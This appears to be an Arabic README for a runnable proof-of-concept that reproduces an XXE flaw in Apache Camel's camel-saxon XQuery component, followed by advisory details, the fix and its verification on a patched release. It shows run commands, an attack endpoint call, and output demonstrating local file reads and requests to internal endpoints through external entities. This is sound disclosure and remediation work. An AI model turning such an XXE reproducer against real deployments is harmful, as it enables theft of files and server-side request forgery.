
أداة إثبات مفهوم قابلة للتشغيل لإعادة إنتاج CVE-2026-90885، وهو ثغرة XXE (CWE-611) في Apache Camel camel-saxon XQuery، مع عمليات بناء Spring Boot وQuarkus والتحقق من الإصلاح.
Source مبني مسبقًا باستخدام إعدادات Saxon الافتراضية (XXE)مُعيد إنتاج عملي قابل للتشغيل لثغرة Apache Camel حيث كان XQueryBuilder في
camel-saxon — الذي يقيّم التعبيرات لكلٍّ من لغة xquery ومكوّن xquery
— يبني Configuration الافتراضي الخاص بـ Saxon مع خيارات تحليل تحمل قاعدة إزالة
المسافات البيضاء فقط، تاركًا محلّل XML على إعداداته الافتراضية: يُقبل إعلان DOCTYPE
وتُحلّ الكيانات الخارجية.
| بيئة التشغيل | الدليل | المكدّس |
|---|---|---|
| Camel Spring Boot | camel-spring-boot/ | Spring Boot 3.5.13 + camel-saxon 4.22.1 |
| Camel Quarkus | camel-quarkus/ | Camel Quarkus 3.39.0 (Quarkus 3.39.0، Camel 4.22.0) |
لماذا 4.22.1 لـ Spring Boot: أُعيد دمج الإصلاح إلى
camel-4.22.xفقط بعد إصدار 4.22.1، لذا فإن 4.22.1 هو آخر إصدار متأثر من ذلك الفرع و4.22.2 هو أول إصدار مُصلَح. تثبيت 4.22.1 يجعل تلك الحدود نقطة محورية في مُعيد الإنتاج.
تُحوَّل أجسام String وbyte[] وInputStream إلى javax.xml.transform.Source بواسطة محوّلات
أنواع XML الخاصة بـ Camel، والتي تهيّئ المحلّل ضد الكيانات الخارجية — تلك الأجسام لم تكن متأثرة
قط. أما الجسم الذي كان بالفعل Source فقد سُلّم إلى Saxon دون تغيير، ولا يزال Source القائم
على التدفق بحاجة إلى التحليل، لذا حلّله Saxon باستخدام ذلك Configuration الافتراضي.
cd camel-spring-boot # or: cd camel-quarkus
mvn clean package
docker compose up -d --build
# the servlet/HTTP port opens before the Camel context finishes starting, so wait for the context:
until [ "$(curl -s http://localhost:8080/exploit/ready)" = "Started" ]; do sleep 1; done
curl -s http://localhost:8080/exploit/attack
docker compose down
الإخراج على إصدار متأثر (متطابق على كلا بيئتي التشغيل):
Expression under attack: concat(string(/r/data), string(/r/data/@leak))
It copies //data and //data/@leak into the result. It reads nothing itself.
1) XQuery over a StreamSource body, external entity -> file:///tmp/cve-2026-90885-secrets/db-password.txt
expression result: [db.password=LOCAL-FILE-s3cr3t-99]
local file contents in the result: true
2) XQuery over a StreamSource body, external entity -> http://127.0.0.1:8080/internal/secret
expression result: [INTERNAL-SECRET-s3cr3t-42]
internal endpoint response in the result: true
3) XQuery over a StreamSource body, external DTD -> http://127.0.0.1:8080/internal/leak.dtd
expression result: [no-entity-hereINTERNAL-DTD-WAS-FETCHED]
attribute defaulted by the fetched DTD in the result: true
4) CONTROL - the same document as a String body (Camel's type converters build the Source)
expression result: []
local file contents in the result: false
5) The same String body through a route doing convertBodyTo(Source.class) first
expression result: [db.password=LOCAL-FILE-s3cr3t-99]
local file contents in the result: true
Requests the XML parser made to internal endpoints on its own: [GET /internal/secret, GET /internal/leak.dtd]
>>> PROVEN: ...
الفحص 5 هو الفحص المهم عمليًا. يُرسل المرسل نصًا XML عاديًا — وهو شكل الجسم غير المتأثر، كما يُظهر الفحص 4. ثم يقوم المسار بتنفيذ convertBodyTo(Source.class) قبل تشغيل التعبير، وهذا وحده ينقل الجسم إلى المسار المتأثر. لا يوجد Source من إنشاء المهاجم، ولا مكوّن غير معتاد، ولا خيار غير افتراضي: خطوة تحويل عادية واحدة في المسار هي الشرط المسبق بأكمله. يذكر الاستشاري هذه الحالة صراحةً، إلى جانب مكوّن أو معالج سابق في المسار يضبط الجسم على Source قائم على التدفق.
الفحوص 1–3 هي العيب نفسه الذي يتم الوصول إليه عبر تمرير Source مباشرةً، وهو ما يفعله مكوّن سابق في المسار.
لا شيء مُهيَّأ بشكل خاطئ. لا يوجد خيار configuration، ولا إعدادات محلل، والتعبير لا يقرأ شيئًا:
from("direct:xquery")
.setBody(XQueryBuilder.xquery("concat(string(/r/data), string(/r/data/@leak))").asString());
from("direct:xquery-converted")
.convertBodyTo(Source.class)
.setBody(XQueryBuilder.xquery("concat(string(/r/data), string(/r/data/@leak))").asString());
لا يتحكم المهاجم إلا في مستند XML الذي يتم تقييمه.
| الخاصية | القيمة |
|---|---|
| المكوّن | camel-saxon (XQueryBuilder، المستخدم بواسطة لغة xquery ومكوّن xquery) |
| CWE | CWE-611 (التقييد غير السليم لمرجع الكيانات الخارجية في XML) |
| الخطورة | عالية |
| ناقل الهجوم | DOCTYPE مع مجموعة فرعية خارجية، أو كيان خارجي، في XML يصل إلى تعبير XQuery كـ Source مبني مسبقًا قائم على التدفق |
| التأثير | قراءة الملفات التي يمكن لعملية Camel قراءتها؛ جعل العملية تُصدر طلبات إلى المضيفين الذين يحددهم المستند |
| الإصدارات المتأثرة | من 4.0.0 قبل 4.18.5، ومن 4.19.0 قبل 4.22.2 (مسار الشيفرة يسبق 4.0 وكان موجودًا في 2.x/3.x) |
| الإصدارات المُصلحة | 4.18.5، 4.22.2، 4.23.0 |
| JIRA | CAMEL-24691 |
| الفضل | Leon Zlobecki |
الإشعار الأمني: https://camel.apache.org/security/CVE-2026-90885.html
ليست المشكلة نفسها المتعلقة بـ CVE-2026-85250، التي تتعلق بـ
documentType=InputSourceفيcamel-xpathوتم إصلاحها في 4.18.5 و4.22.1 و4.23.0. كلتاهما مسارا إدخال تجاوزا تقوية المحلل الافتراضية، لكنهما مكوّنان مختلفان ولا يغطي أي من الإصلاحين الآخر — وعلى وجه الخصوص 4.22.1 يعالج CVE-2026-85250 لكنه لا يعالج هذه المشكلة.
يقوم XQueryBuilder الآن ببناء Configuration الافتراضية الخاصة به مع خيارات تحليل تُفعّل
disallow-doctype-decl وتُعطّل external-general-entities وexternal-parameter-entities و
load-external-dtd، بما يوائم جسم Source مع المحلل المُقوّى الذي كان XmlConverter في Camel يطبّقه
بالفعل على أجسام String وbyte[] وInputStream.
التغيير ظاهر ومسجّل في دليل الترقية إلى 4.23: الجسم الذي يصل إلى XQuery كـ Source مبني مسبقًا
ويحمل DOCTYPE يُرفض الآن بخطأ تحليل، بينما الأجسام التي لا تحمل
DOCTYPE لا تتأثر.
يتم تقوية Configuration الافتراضية فقط. أما تلك التي تُقدَّم عبر خيار configuration الخاص بـ
endpoint أو اللغة، أو عبر XQueryBuilder.setConfiguration، فتُستخدم كما هي — لذا يمكن لنشر يحتاج
فعليًا إلى معالجة DOCTYPE أو الكيانات الخارجية أن يحتفظ بها، وعلى النشر الذي يقدّم Configuration الخاصة به
لأي سبب آخر أن يطبّق خيارات التحليل نفسها بنفسه.
تم الإصلاح على main في apache/camel#26344
(9c23b686)، ونُقل إلى camel-4.22.x في #26728
(0d0ed8bb) وإلى camel-4.18.x في #26730 (ed513f3a).
اضبط camel.version على 4.22.2 (Spring Boot)، أو اضبط إصدارَي المنصة على إصدار Camel Quarkus يحمل
Camel 4.22.2 أو أحدث، ثم شغّله مرة أخرى. تم التحقق مقابل 4.22.1 → 4.22.2:
1) ... [FAILED: XPathException: SXXP0003 Error reported by XML parser: DOCTYPE is disallowed when the
feature "http://apache.org/xml/features/disallow-doctype-decl" set to true.]
2) ... same 3) ... same
5) ... same
Requests the XML parser made to internal endpoints on its own: []
>>> NOT reproduced: external access was denied.
من المفيد معرفة ذلك قبل الترقية: في 4.22.2 يفشل الفحص 4 بالطريقة نفسها. في الإصدار المتأثر، أعاد عنصر التحكم هذا نتيجة فارغة — لم يُحلّ الكيان ببساطة، دون أي خطأ. ينطبق التشديد على Configuration الافتراضي بأكمله، لذا يرفض XQuery الآن أي نص يحمل DOCTYPE، بما في ذلك نصوص String التي لم تكن متأثرة من الأساس. أما المستند الذي لا يحمل DOCTYPE فلا يتأثر في كلتا الحالتين. إذا كانت هناك عملية نشر تُغذّي XQuery بشكل مشروع بـ XML يحمل DOCTYPE، فوفّر Configuration خاصًا بك عبر خيار configuration — إذ يُستخدم أي Configuration يُقدَّم بهذه الطريقة كما هو.